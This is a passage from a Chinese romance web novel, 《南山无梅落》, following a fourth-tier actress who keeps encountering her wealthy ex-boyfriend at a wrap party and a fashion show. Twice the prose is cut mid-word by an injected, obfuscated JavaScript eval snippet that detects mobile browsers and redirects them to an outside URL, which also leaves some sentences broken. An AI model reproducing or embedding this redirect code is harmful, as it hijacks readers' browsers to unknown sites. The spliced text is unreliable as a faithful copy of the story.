《南山无梅落》 1. 01 《南山无梅落》 文/姜厌辞 2026.2.14 - 12月9日,23:47,江城。 今晚的气温跌破五度,风也大,薄刃般锋利,似要将人千刀万剐。 拍完落水戏份的南意被冻得浑身打颤,偏偏下一场戏是男主的高光时刻,摄影组和道具组蓄势待发,无暇顾及到她,只有站在河边待命的实习生眼疾手快地朝她递来一条浴巾。 南意笑着道了声谢,简单擦拭几下,捞起座位上的长款羽绒服,将自己裹了个密不透风,又像透明人一样路过被众星捧月的男主角,上了剧组一辆空置房车。 入行以来,她要么在挨饿,要么就是在挨冻,狼狈的模样数不胜数。 然而在见到镜子里的自己后,还是被吓了一跳。 头发湿哒哒地贴在头皮上,额角黏着块暗绿色神秘物质,看着像水藻,鼻头通红,要是再肿点,和小丑没什么两样,多亏她今天素颜出镜,不然这会脸上还得多出几道浓墨重彩的痕迹。 助理小琦拿来换洗衣物,催促她赶紧去洗个热水澡。 南意无动于衷,“我手机呢?” 化妆桌上放着一台LED时钟,屏幕显示时间距离零点只剩下两分钟。 小琦从兜里掏出手机递给她,南意接过后直接盘腿坐到地上,零点刚过,收到一条匿名号码发来的短信。 【□□.17】 第一次收到类似的骚扰短信是在四年前的12月10日零点,之后那大半年里,这串号码又陆续发来十几条。 中断近五个月后,同样是12月10日的零点,南意才又收到新的短信。 至于短信内容,南意尝试过剥丝抽茧,奈何这串数字过于匪夷所思,不像某个特定日期,也不是具体IP地址,没有对应密钥根本解锁不了。 有次心血来潮下,她托人调查过这串号码,机主身份是个谜,只能查到大致定位,显示在北城二环内。 从浴室调好热水回来的小琦打眼到屏幕,好气又好笑,“这人发骚扰短信发上瘾了吧,发也就算了,就不能发点看得懂的文字吗?” 南意摸摸下巴,煞有其事地说:“估计是想拿我当谍战分子整。” “要不报警算了,或者直接把这个号码拉黑?” “先放着吧。” 南意截图保存到相册,又点开个人收藏,对照最近那几条看了好一会,还是一筹莫展,索性放过自己大脑,拿起换洗衣物走进浴室。 刚才在拍落水戏时,她的膝盖蹭到河床上的石块,磕破皮,被快到脚踝的羽绒服罩着,看不出来,现在牛仔裤一脱,原形毕露。 血块一沾上热水,就像解冻的腐肉,融化成液体,染红半条腿。 被小琦看到,怕是又得唠叨了。 这伤口南意最终还是没能藏住。 小琦边上药边替她抱不平,“这剧组也太不把你当人看了,凭什么容易受伤、搓磨人的戏全让你一个人上,那几个男演员干什么吃的?” 干什么吃的不好说,软饭硬吃是肯定的。 南意参演的这部剧《黎明时分》属于刑侦题材,主角团一共四人,她是唯一的女性角色,但没什么高光戏份,一次次因莽撞犯蠢,都只是为了衬托男主超强的应变能力,总之,是个扁平的工具人角色。 而作为高智商低武力值的男主角,每次一遇险,都会有人来充当他保镖,打不过就替他挨揍。 除男主外,其他几位男性主演也都背靠或大或小的金山,只有南意毫无背景,自从六年前和经纪公司解约,一直单打独斗到今天。 最苦最累又最能挨骂的戏份自然全都落在她头上。 她皮肤薄,加上人瘦,稍微磕碰一下,身上就会多出青紫伤痕。 导致进组这三个多月来,她没有一天人是“健全”的。 小琦还想说什么,南意先打眼到车窗外摇晃的人影,瞎话张口就来:“我看了我刚才拍的那段戏,不得不说,还是李导会拍,把我落水后的挣扎拍得跟真的一样。” 可不就是逼真吗? 她差点死在水里都没人喊咔。 窗外的人影消失,南意松下戒备心,继续给自己吹头发,吹到半干不干的程度,突然打了个喷嚏。 小琦见状立刻去泡了杯红糖姜水和感冒冲剂,势必将感冒的可能性掐死在摇篮。 在南意看来,寒冬腊月天拍戏有个好处,就是下戏后可以把自己裹成粽子,避免被有心人拍到伤痕累累的模样,发到网上,添油加醋造谣她卖惨博同情。 不对,有些惨还是得卖的。 南意捞起正在充电的手机,对着破损的膝盖拍了张照,传给她经纪人:【向锦姐,有块不长眼的石头袭击了我,我现在疼得快走不了路??,后天的杀青宴,你能帮我跟剧组请个假吗????????】 比向锦的回复来得更快的是小琦的声音:“姐,向姐让你别对她卖萌,没用,还有就是后天晚上她会提前给你准备一台轮椅,让我推着你去杀青宴。” “……” 南意不死心,挺起腰杆,正儿八经地说:“前两天我找占卜师算塔罗,她说我接下来一段时间会遇到好几个jinx,最好的应对办法是减少社交频率。” “你什么时候还信起占卜了?” “不信啊,”南意拿起盛放姜茶的保温杯,老干部做派地对着杯口吹了吹,“所以我还专门去找了算命大师,那人也这么说,中西合璧总没错嘛。” 小琦佩服得五体投地,转头把这番对话转述给向锦。 向锦回得及时:【你告诉她,她要是不去,我现在就给她下一个jinx。】 - 以南意现在的咖位,杀青宴这种局不去也得去,不然容易落个“没大牌硬耍”的口舌是非。 向锦怕她真忘记分寸两个字怎么写,继续拿占卜作为逃避社交的借口,特意到她入住的酒店逮她,好亲自将人押送到举办杀青宴的闲庭会所。 事实上,南意就没打算逃,也猜到向锦会跟她来这么一出,提前五分钟乖乖在酒店大堂等着。 半路向锦关心了句:“膝盖还疼不疼?” “疼的话,能让司机掉头吗?” “你不如让司机现在给你放首摇篮曲,到会所前还能睡一觉。” 言下之意:你不如做梦。 南意闭麦了,但不妨碍向锦继续念叨:“当初不让你接这部戏,你不听。” “没办法,再不接点戏,你和小琦的工资我都开不出了。” 糟糕的剧本,糟糕的班底,糟糕的共演演员,换做以前的她,根本不会接,但现在她的选择实在少得可怜。 向锦替她筛选的那些,好归好,她也如约去试镜了,结果最后全被空降兵半路劫杀,算起时间,在这部刑侦剧之前,她已经将近两个多月没进过组,定期医美保养的同时又得还房贷、做慈善,存款花得比流水还快。 摸爬滚打的这几年,南意最擅长的就是苦中作乐:“这部戏也不是没有半点可取之处,至少给我安排了免费的武打私教课,别的不说,我现在轻轻松松就能撂倒一个一百八十斤壮汉。” 向锦瞥她眼,下车前才再次开口:“这个给你。” 她从包里掏出一张黄色符咒,塞进南意手心。 “这是什么?”南意实在看不懂上面的鬼画符。 “不是你说最近有人给你下了倒霉诅咒?这是我专门请大师给你求的,你就带在身上当作幸运符。” 南意走后,前排司机扭头问:“这玩意真的好使?” 他最近逢赌必输,要真好使,也去求一个去去晦气。 向锦微笑,“我自己瞎画的,你说好不好使?” “……” 作为主角团一员,南意被安排到主桌,只是她到包厢时,她那处位置已经被男四占了。 这人像完全没察觉到她逼近的气息,继续热火朝天地跟男二闲聊,等南意找了另一桌空位坐下,他才一顿,露出抱歉的笑容,“不好意思,聊得太投入了,南意姐,你不会怪我的对吧。” 饭还没开始吃,就被喂了一口碧螺春,险些给南意呕出来。 “没事,坐哪都一样,你们继续聊吧。” 等对方撤回视线,南意才慢慢敛住笑容,抽出一次性手套,往里面吹起,撑开后,封住出气口,其余四根鼓鼓囊囊的手指被她摁下,单独留下一根中指朝向绿茶四。 在被人发现前,她若无其事地松开手,夹了一筷子基围虾,边剥边听隔壁女生说:“我刚才坐电梯,遇到了一个超级帅的男人。” 为了让自己合群些,南意抓住每一个见缝插针的机会,“有多帅?” “上不上镜不知道,肉眼看足够吊打那边那几位了。” 女生扫了眼主桌那几位男主演,片刻又说:“非要说起来,跟南老师您还挺有夫妻相的。” 莫名其妙被拉郎配的南意眨了眨眼,臭不要脸地说:“那看来是真挺帅的。” 照本宣科地结束完敬酒环节,制片主任突然对着身侧的人来了句:“今晚嘉樾的负责人也在,就是不知道来谈哪部作品。” “嘉樾?四年前才创立的那家影视公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228422|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司?” “可不就是它?我听说它是北城庄家的产业,好像还是被认领回庄家那太子爷闲着没事开的。” “人比人还真是气死人,”搭腔这人用几分自嘲几分调侃的语气说,“我也想闲着没事在四年内把随便开开的公司发展成行业龙头。” 南意没听到这段对话,脑子里想的是一会击鼓传花游戏环节抽到自己时该表演什么。 要不唱首歌算了。 这歌最后没唱成,收到“花”的是坐在主桌的统筹。 他一开嗓,接受惩罚的人莫名其妙变成在场所有听众。 鬼哭狼嚎的,没一个在调上。 南意耳膜快要爆炸,唱到那句“有生之年/狭路相逢/终不能幸免”时,随波逐流地鼓了两下掌,借口补妆逃离包厢。 顶楼露台对外开放,她上去吹了会风,吹到头脑发胀后原路折返,不知道哪根筋没搭回来,29层被她摁成30层,出电梯后,才意识到不对劲。 过道狭长静谧,铺在脚下的波斯地毯精致柔软,两侧墙壁用斑斓的油画装点着,看着都不像赝品。 仅一个楼层之差,档次倒是拔高不少。 突然出现的一道身影直接掐灭南意的感慨。 谁能告诉她,周子严不好好在北城当他的公子哥,怎么会出现在这地方? 冤家路窄这个词还真是具像化了。 南意有种气管被扼紧的错觉。 烦躁不安感还没涌上来,身体先形成抵触情绪,赶在对方停下脚步扭头看过来前,右手搭上3012门把手。 奇迹般的,门虚掩着,她不费吹灰之力就能推开,屋里屋外是两个世界。 中古风柚子灯灯光像本开封多年却无人问津的旧书,边边角角泛起昏茫的黄,将沙发椅上的男人切割成半明半暗的两部分。 从侧面看,这具被黑色衬衫、西裤包裹的躯壳过于清瘦,折合成三段曲线,每段都是如出一辙的单薄锐利,像淬着霜的刀刃,连同周遭肃杀的冷寂和落地窗外的阑珊灯火,临摹成一幅单调的白描画。 他们之间的距离不算近,模糊了很多细节,但她还是注意到他下垂的左手虎口附近的一粒褐色小痣,还有食指上套着的银戒。 老旧的款式,做工粗糙,和他佩戴的腕表价值天壤之别。 恍惚间,南意想起很多年前经常同她交叠的那只手掌。 十八岁的少年长着一双白皙漂亮的手,手指瘦长有力,手背筋骨凸出,指甲被他修剪得圆润干净,不见丝毫泥垢,和骨节一并透着淡粉色,抓起时,能闻见清淡的洗手液味道。 她最喜欢的是他嶙峋的腕骨,山丘一般耸起,有种成熟的性张力。 后来也是这双手,在她身上最隐秘的地方烧出一簇簇火光,烫的她毫无招架之力,转瞬被掀起的层层海浪浇熄。 俞钦。 她一边默念这个名字,一边将视线往上抬。 他的头微微仰着,发质比他的面部轮廓要柔和很多,刘海几分杂乱,搭在他紧闭的眼角。 不知道是不是错觉,她似乎看见他眼皮动了两下。 那一瞬间,她的情绪就像发面馒头一样迅速膨胀开来,堵住嗓子眼,压得她呼吸不畅,难以挤出通过理性思维加载出来的语言,变成哑巴是顺理成章的事,大脑倒还是能疯狂转动。 五年前,她向他提出分手那天,他是怎么回应的? 那会他好像抓着救命稻草似的,抓住她的手不放,嗓音背离正常状态下的冷静自持,带着一种令人动容的慌乱。 他说,要是她不要他了,他会死的。 再后来的事,她不太记得了。 越想越脑袋越有种针扎的刺痛感,总觉得有什么很重要的事被她封锁住在某个记忆角落,唯一能确定的是—— 被她抛弃的庄俞钦,现在还活得好好的。 也就是说,她从来没有他认为的那么重要。 从自嘲情绪中抽离的南意,满脑子都只剩下一个念头:她要赶在他察觉到自己这位旧情人存在前,离开这鬼地方。 后撤的动作拙劣又生疏,肩膀还不小心撞到了墙壁,不算重的一下,因猝不及防,险些让她泄露出承受不住痛感时会发出的声音。 也可能她确实疼出了声,只不过这样的动静被淹没在一声“你在害怕什么”中,消失得无影无踪。 男人的嗓音本身很淡,打碎沉默的空气时,却像两块相互摩擦的火石,冲撞出密密匝匝的火星。 火焰以燎原之势向南意席卷而来,她心里紧绷的那条弦终于断裂,发出迟来近五年的沉闷回音。 2. 02 车门被人拉开,小琦条件反射地抬头看了眼,望见南意身后空荡荡的夜色,稍显诧异:“姐,怎么就你一个人回来了?” 南意眼疾手快地打开手机手电筒功能,对着自己下颌角照去,阴森森地扯开一个笑,“我怕半个人回来吓死你。” 小琦没被吓到,反而被她冷不丁蹦出的幽默感逗得咯咯笑,说话都变得断断续续,“向姐给你发消息,你一直没回,担心你就上去找你了,你没见到她吗?” 南意敛起笑,“这酒店两台电梯呢,可能错开了吧。” 上车后,她从口袋掏出手机,果然看到几条来自向锦的未读消息,正要给她回通电话,车窗玻璃被人敲了几下,快自动合上的车门再次敞开。 向锦借着车里的灯光,认真打量她几秒,“我还以为你醉到不省人事了。” “提前喝了你准备的解酒冲剂,能有什么事?” “没事就好,”向锦的目光没挪开,带点试探意思地说道,“我刚才看见周子严了。” “周子严?” 这个名字对于跟在南意身边仅四年的小琦而言,有点陌生。 南意只扯唇笑笑,没有开口解释的打算,向锦言简意赅地提点了句:“周旭桥的儿子。” 小琦想起营销号盘点过的那些恩恩怨怨,欲言又止地退回原位,缩起脖子降低存在感。 南意扯了扯沾到红酒的袖口,“我也看见了,但他没注意到我,不过就算注意到,他也不一定记得我是谁。” 这话题聊起来不太轻松,有种在伤口上撒盐的痛感,即便那伤口早就愈合为一道隐晦的疤痕。 向锦观察着南意的表情,话锋一转:“你今晚吃了什么?” “也没——” “要么现在实话实说,要么回酒店后直接上秤。” “……” 南意认命,老实交代:“一只虾,一块去掉肥肉的红烧肉,两筷子梅干菜,两口蟹肉,一个水晶包,一小碗……” 向锦听不下去,凉凉笑了笑,“吃得这么没有节制,是忘了一周后自己在申城还有场走秀?” 每年年终,豆瓣某组会从影视资源、人气、话题度等指标将各线艺人划分成三六九等,南意已经连续两年排在四线最末位置上,因此被不少黑粉戏谑为“四线守门员”。 但凭借独一份的气质和出众的外形条件,以及玄学般的带货能力,她的时尚资源一直居高不下,甚至到了很多二线女星都望尘莫及的地步。 至于向锦提到的这场走秀,是国内高端本土品牌Syzygy的26年春夏秀场。 这品牌主打千金少女风,目前国际号召力虽不及同赛道的Miu Miu,发展潜力仍不容小觑,上市仅十年,已经在高奢市场上占据一席之地。 二线流量小花挤破脑袋都没能抢到的代言,南意轻而易举拿下了,还是品牌创始人力排众议钦点的。 实在是匪夷所思,南意甚至怀疑过这位创始人是不是想潜规则自己,后来才知道,这人是她十八岁拍摄的那部处女作的铁杆粉丝。 走秀这事南意还真忘了,下意识去摸自己的战损膝盖。 向锦捕捉到她的小动作,“我看过品牌方送来的样衣,分给你那套下装是条A字裙,裙长恰好能遮到你小腿肚。” “秀场有风怎么办?待会给我裙子吹起来了,还不是要暴露我这伤痕累累的膝盖骨?” 向锦一阵好笑,“内场哪来这么猛的风?” “你忘了吗?”南意指着自己鼻子侃侃而谈,“我可是风一样的女子,走路自带鼓风机效应。” 向锦这下是真的懒得搭理她了,点开微信,回复几条重要的工作消息。 落在自己身上的注意力一消失,南意就收起虚浮的表情,眉眼也敛住了。 车辆平稳向前行驶,街边路灯亮度不匀,明明灭灭的白光从她脸上掠过,带出竭力隐藏的复杂情绪。 那一声毫无防备的“你在害怕什么”响起后,她是真的被惊到手脚发麻,恨不得表演一个原地晕厥。 直到看见庄俞钦贴在耳边的手机,她才迟钝地意识到这话并不是冲她说的。 她还听见他提到几个只会出现在财经报表里的专业术语,而他的眼神,从始至终未向她倾斜半分。 比起没有察觉到她的气息,更像是彻底无视她的存在。 她当时愣了两秒,视线僵硬地穿过他肩头,从三十层楼的高空远眺而去。 天穹之上的那轮明月无处遁形,只是没有十年前那般澄净,八年前那般炙热坚毅,以及五年前那般破碎——仿佛下一秒,就能演变成一首悲戚的悼亡诗。 现在的它是完整的,冷漠的,遍布铁锈色的裂痕,以至于看着不再像明月,而是一具烧制了数年的铜器模型。 …… 不怕冷似的,南意将车窗降下些,结果又看见那轮阴魂不散的月。 等车开进隧道,她鬼使神差地在检索栏里输入“庄俞钦”三个字。 一片空白。 就和现在的他一样,是个让人捉摸不透的谜。 - 《黎明前夕》预告片发布那会,南意刚落地申城。 去酒店的路上,她点开向锦发来的视频,从头到尾认真看了两遍。 说实话,剪得不算糟糕,打戏流畅,该有的悬疑氛围也拉满,唯一值得诟病的是,剧方似乎有意将话题讨论往不那么清白的兄弟情方向引。 但凡是男一男二齐齐出现的镜头里,两人对视的眼睛都能拉丝了。 向锦另外还提到一件事:【Syzygy这场秀要挪到平安夜那天。】 原因是这次走秀合作承办方之一不满场地布置,需要一周时间重新搭建T台。 好奇心作祟,南意问向锦要来原定的秀场布置图。 T台用的是银色金属地面,和头顶的水晶吊灯相得益彰,有种冰雪世界的梦幻感。 南意满头雾水:【这有什么问题吗?为什么要改?】 向锦:【资本家的心思你别猜。】 平安夜当天,南意起了个大早,坐车去Syzygy专门安排的造型工作室。 她的皮肤底子好,为了突显她清冷的气质,化妆师在上妆时采用减法原则,只给她打了层薄薄的底,腮红和唇膏用的全是日杂里经常出现的奶杏色。 整张脸痕迹最重的是眼影部分,蓝粉叠加,最后用上亮片点缀。 全套妆容完成后,南意就顶着这样一双会说话的眼睛跟化妆师道了声谢,把对方看得相当难为情,红着脸离开独立化妆间。 南意眨眨眼,“她尿急吗?” 小琦叹气,“是的,被你调戏到尿急了。” 南意露出无辜的神色,“我什么时候调戏她了?” 她刚才不就说了句“谢谢妹妹”? 这化妆师看着年纪比她小,难不成她要装嫩,称呼对方为“姐姐”,那也太不要脸了吧。 小琦见缝插针地控诉了句:“其实我早就想说了,姐你以后说话的时候,千万别用含笑的眼睛盯住我,我怕被你掰弯。” 轮到南意叹了声气,“怪不得我桃花运这么差,合着净斩女去了。” 小琦又被逗笑。 笑声一止,门外传来窸窸窣窣的议论声,小琦好奇地把脑袋探出去看了会,折返回南意身边,解答道:“他们在聊这次合作的主办方,领头那个据说是大帅哥。” 南意心里瞬间警铃大作。 上次听到“帅”这个字眼没多久,她就意外撞见了庄俞钦,这次总不至于又能见到他吧? 不会的。 不会的。 不会的。 一直到南意右脚踩上T台,这三个字才从她脑袋里消失。 U型T台被换成不透光的哑光砖,鞋跟敲在上面的声线没那么清脆,些许沉闷,让人联想到暴雨倾盆前乌云密布的天空。 不好的预感卷土重来。 南意的心跳越来越快,时间流逝的速度反倒在不断变慢,在她快要走到弯道口时,空气突然凝固住。 也将庄俞钦那张冷隽的面容定格在他望过来的那瞬间。 第二个jinx就这么来了。 看来“帅”这个字确实是庄俞钦的召唤咒语。 南意不确定自己的步伐是否出现异常的摇晃,又或者她的表情管理是否崩盘一瞬,只清晰地感觉自己变成失去血肉的木偶人。 过往的记忆从裂开的冰湖中一点点复苏。 她想起第一次接受媒体采访时,无数的镁光灯笔直地向她扎去,她的视线像被裹上一层白雾,看什么都是迷蒙的。 唯独熙攘人群外的庄俞钦,她依旧看得清清楚楚。 他朝她投射而去的目光比名利、恭维、质疑来得柔软太多,让她有种尘埃落定的安全感。 现在她还是能一眼注意到他,变的是他的眼神,沉寂如海,底下的暗潮将过往的温煦吞噬得一干二净。 冷冰冰,又沉甸甸。 害她身体也像被裹上一层千斤重的烙铁,每一步都迈得格外艰难。 一圈下来,后背渗出不少汗。 任务完成后,南意径直回到化妆间,边摘头饰边听小琦的彩虹屁。 她的笑容肉眼可见的牵强,好在小琦喋喋不休时,并未将目光放在她身上,也就没察觉到任何异样。 南意一刻也不想多停留,换回自己衣服,同主办方负责人打了声招呼,离开秀场。 两名安保一左一右堵在自动玻璃门前,见她逼近,其中一人抬了抬手,要她们从小门离开的意思。 小琦不满嘀咕一声:“这是在等哪尊大佛,居然连正门都不让我们走?” 车已经停在喷泉边,上车后小琦又来了句:“我的天,这是在拍电视剧吗?这么夸张。” 南意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228423|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明所以,循着她的视线看去。 层层叠叠的人影里,庄俞钦的身形被衬得分外挺拔。 他今天又穿了一身黑,只有搭在肩膀两侧的围巾显出冷调的白。 气质也冷,像天寒地冻里杀人于无形的人形凶器。 灯光从左侧打过来,穿透他被肩胛骨顶起的单薄布料和礁石般的嶙峋喉结,在人群中形成歪歪扭扭的光轨,最后撞进她视线。 南意又想逃了。 等她意识到这辆保姆车装的单向玻璃时,腰已经弯下大半。 小琦问:“姐,你在捡什么?” 南意故作平静地说:“捡我自然脱落的秀发。” 算不上和平分手的情侣时隔多年狭路相逢,总有一方要夹起尾巴做人。 不巧的是,混得更落魄、在这段感情里亏欠更多的人都是她。 小琦信以为真,哦一声后重新把视线投到窗外,啧啧感慨道:“姐你说这人到底什么身份?凭什么我们只能从侧门离开,他却被前呼后拥着,不知道的还以为是哪家的太子爷出来体恤民情了,也太不公平了吧。” 南意坐直身体的同时,调整好情绪,懒洋洋地附和了声:“确实不公平。” 她三天两头控糖控油,把自己饿到饥肠辘辘,勉强维持住上镜的最佳状态。 他倒好,怎么都吃不胖,就这体型,风一刮,怕是都能给他掀翻。 不过比起十年前,好像还是健壮不少。 脂肪是十六岁的庄俞钦身上最稀缺的部分,他的四肢就像刚长出的青竹,细而孱弱。 至于躯干部分,皮肉似乎是用纸糊成的,覆在肋骨外,吸气时,会凹进去一大块,搭配白到病态的皮肤,给人一种弱不经风的感觉。 好在他头小肩宽,腿也长,拥有模特一般的黄金比例,外套一穿,看着倒也没那么瘆人。 在她家还没破产的那一年半里,她总在变相投喂庄俞钦,经过她持之以恒的努力,他的血肉逐渐丰盈起来,薄肌慢慢成型。 好景不长,十七岁那年,南家破产,他打工赚来的钱一部分全给她买好吃的了,哪怕她不肯。 至于他自己,则过回有上顿没下顿的日子。 南意骗他,“俞钦,你知道我最喜欢你身上哪部分吗?不是你的喉结,也不是你的锁骨,而是你的腹肌,靠在上面睡觉很舒服……现在我们连床都买不起了,你总不能连你身上这张天然床都不能让我拥有吧?” 在她的监督下,庄俞钦才回归到一日三餐的正常饮食模式。 南意用力拍了拍自己的脸,好甩开脑子里瞎找存在感的回忆。 就在她定神的下一秒,庄俞钦也停下脚步,遥遥朝她的方向望去,嘴唇微动,不知道在说些什么。 跟他交谈那人南意也认识,Syzygy这次走秀的场馆负责经理高仁。 前方路还堵着,车暂时启动不了,南意只能眼睁睁看着高仁离自己越来越近。 司机相当有眼力见,及时降下南意那侧的车窗。 南意动作也快,倏地弯下腰,假装自己很忙的样子,看得高仁云里雾里:“南意老师,你这是?” 南意大脑暂时停止思考,只能复制粘贴之前糊弄小琦的那套说辞:“捡我自然脱落的秀发。” 高仁尬笑两声,“你太幽默了。” 见他没有折返的打算,南意认命般终止做戏,端端正正地坐回去,结果又对上庄俞钦那张不肯出现在她梦里的脸。 隔得不算近,她读不出他眼底的情绪,也或许是他本来就擅长掩藏情绪,这会才能做到滴水不漏。 南意别开眼,笑问:“高经理有什么事吗?” 高仁说:“没什么大事,就是想告诉你一声今晚的庆功宴会提前二十分钟开始。” 刚才庄俞钦跟自己交代的也正是这事。 虽然他不明白为什么要临时更改时间,但对方话语权更大,Syzygy有决策权的那几位也没多说什么,他只管将通知下达就是。 只是刚抽空发完消息,他就听见这位活阎王又问:“前面那是谁的车?” 出入的车辆都有登记,随行管事代为解答:“演员南意的。” “那正好,高经理你可以当面去通知了。” 高仁本想说自己已经在群里嚎了一嗓子,突然察觉到古怪的地方。 早在走秀那会,他就觉得庄俞钦对南意格外关注,现在看来,不是错觉。 这也成为他此刻上前单独“提醒”南意的原因。 风吹乱南意额角的碎发,配合她适当展露出弱不禁风的一面,“不好意思,我身体有点不舒服,今晚就不去了吧。” 本来她就不喜欢这种聚餐,现在又有庄俞钦在,她要是去,那她八成是疯了。 - “我觉得我是真疯了。” 半小时后,坐在庆功宴宴会厅的南意听见隔壁桌的模特说。 3. 03 南意在心里默默接了句“谁不是呢”,转头听见这人又说:“听说嘉樾那位也要来,我怎么就穿了这么一件毛衣过来?” 有人搭腔:“我瞅着挺好啊,还是oversize的,没准那位见了,对你的毛衣一见钟情,还想问你借来穿穿呢?” “瞎说什么呀你……不过说真的,一会我们真的能去敬酒吗,会不会有点唐突?” “难得的刷脸机会,当然要好好把握了。” 有人插了句:“南意姐,一会儿你也要去敬酒吗?” 声音离自己很近,南意一扭头,就对上一双好奇的眼眸。 这人是Syzygy的专属模特,偏异域风情的五官,辨识度很高,艺名起的英文名,至于是Verity还是Violet,南意只打眼过一回,实在想不起来,就在心里叫她小V。 “我看情况吧。” 主动是不可能的,可要是这些人都这么做了,她也不好搞特立独行那套。 至于敬酒词该说些什么,她得好好斟酌。 好久不见?别来无恙? 可这不相当于在自曝他俩有旧情吗? 实在没话说,就祝他身体健康、事业步步高升好了。 他要是不领情,那就……不领情吧,别当着所有人的面泼她红酒就行。 当然她最希望的还是他别出现在庆功宴现场。 事实证明,南意从来不是上帝的宠儿,她虔诚许下的心愿又一次落空了。 双开门被侍应生从外打开,庄俞钦挺拔又清瘦的身形显现于如昼的灯光下。 气度非凡的男人就算孤身一人,也能走出一种前呼后拥的大排场,让所有人齐齐噤声。 画面就跟上学那会教导主任民间暗访一样,唯一不同的是,主任走后,不会有学生用夸张的语气感慨:“我的天,这领导也太帅了吧。” “我瞅着比娱乐圈的流量还帅,不去演戏真是可惜了。” 嗯嗯嗯,超帅的。 南意面上用微笑和点头附和,心里想的是:我可求求你们别再提“帅”这个字,万一一会儿又把人召唤出来,我怕不是得躲桌底了。 这次她担心的事没有发生。 庄俞钦就跟来走个过场一样,也没给任何人敬酒的机会,逡巡的视线像在确认什么似的,发散得很快,停在某处后挪开,兀自转过身,肃杀的背影没几秒就消失在众人聚焦的目光中。 是错觉吗? 刚才他好像在寻找自己的身影。 没等南意琢磨出答案,有工作人员前来派发苹果,作为平安夜的伴手礼。 这人从南意右侧发起,转到南意时,恰好没了,问遍其他人,都说没有多余的。 南意笑说:“没了就没了,我也吃不了苹果。” 这话听着可信度不太高,她多补充了句:“我一看见苹果,尤其是听见咬苹果时咔咔的声音,就浑身发痒,不过这种痒,不是身体在起过敏反应,而是心脏会麻麻的,不舒服。” 小V头一次听说世界上还有这种病,诧异地张大嘴巴“啊”了声。 南意耸耸肩,“估计我上辈子是被苹果噎死的吧,这辈子才会对它有这么深的心理阴影。” 打卡加拍照任务完成后,南意一刻不愿多待,快走到直梯前,一二十出头的女生提着一盒精心包装过的苹果追了出来,“南意老师,这是给您的苹果。” 南意一顿,“不是没了吗?” “高经理那还有多余的,他让我一定要补给您。” 南意眼前忽然浮现出高仁在秀场门口对着庄俞钦低眉顺眼的姿态,还有他非要让自己来庆功宴时恳切到几乎哀求的语气,不知道的还以为她才是给他开工资的领导。 一个接一个的困惑砸向南意大脑,她的思绪霎时缠成乱麻,这时对面的人又丢来一个重磅炸弹:“高经理还说,您现在要是不着急回去的话,可以去见一见这次的合作方。” “就我一个人去?” “这个他没说。” 南意皮笑肉不笑,“不了,酒店的煤气还等着我去关,下次有机会再见吧。” 说得相当理直气壮,成功将刚出社会的小姑娘唬住两秒。 而始作俑者聪明地抓住这两秒的空档,踩着高跟鞋走进电梯。 上车后,南意直接把苹果塞给小琦,等车快开出地下停车场,她透过小琦敞开的托特包再次看见那盒苹果。 心莫名开始痒起来,喉咙也是,清了清嗓说:“还是还给我吧。” 小琦诧异,“姐你不是不能吃吗?” “今天平安夜,总要留个纪念。” 南意一副若有所思的神色,像不知道该从哪开口,好半会才接上,“而且你不觉得这苹果纹理很漂亮吗?有点像——” “像什么?” “生命里仅此一次的烟花。” - 为了避免再次“偶遇”庄俞钦,在申城的行程一结束,隔天上午,南意就飞回到北城。 几小时后,天上开始飘起细碎的雪花子。 这不是北城的初雪,却是南意今年在北城见到的第一场雪。 她隔着落地窗拍了几张照,正要放下手机,Syzygy的推送消息进来。 官方微博连着发布数条动态,最新一条是艺人走秀的实况动图,九宫格排版,按照一开始的受邀官宣顺序,南意被排在第三。 入行八年,南意的微博粉丝迄今为止也只有两百来万,其中几十万还是对家黑粉,以及新浪塞进来的僵尸号,但不知道为什么,她的死忠不算少,每次进组或参加综艺录制,都会有数十人举着应援牌高喊她的名字,即便是在她声名狼藉的境况下。 控评更不用说,但凡带上她名字的宣传动态,底下都会出现齐刷刷的应援口号。 这条也不例外。 傍晚,向锦带来两份文件,一份是综艺企划书,另一份是电影剧本。 看到导演栏旁边的“叶云尧”三个大字后,南意大脑空白一瞬,想起恩师林修竹。 两人年纪相仿,经历更是相似,从电影学院毕业的第二年,处女座登上大银幕。 充沛的灵气,加上高超的叙事技巧,他们的作品成功入围金像奖最佳影片,自此身价水涨船高,齐齐被业内誉为“鬼才导演”。 如今的叶云尧已经被尊崇为电影圈大拿,林修竹却因一场突发恶疾,永远地成为西郊墓园里一块冰冷的石碑。 南意捏了捏发胀的手掌,“这剧本你怎么拿到的?” 以她现在的地位和知名度,叶云尧是疯了才会主动向她抛来橄榄枝。 向锦意味不明地笑了声,“你翻开看个几页,就知道答案了。” 文件第一页就用粗体字标明几条注意事项: 1.拍摄期间,不得接其他综艺或影视剧本; 2.整部电影不得采用替身; 3.会有危险戏份,需签订免责协议; 4.可能存在裸露镜头。 南意抬头,抽空问了句:“具体要裸哪个位置?” “胯骨以上,腿根以下。” 那就差不多等于全|裸了。 南意继续往下翻,向锦拿来的剧本不全,只起了个头,但也不难推断出这是一部现实向的文艺片。 开头又提出那么多限制,怪不得竞争不强,兜兜转转还能落到她这个只主演过一部电影的四线女星手里。 向锦给足她考虑时间后问:“你的意思是?” 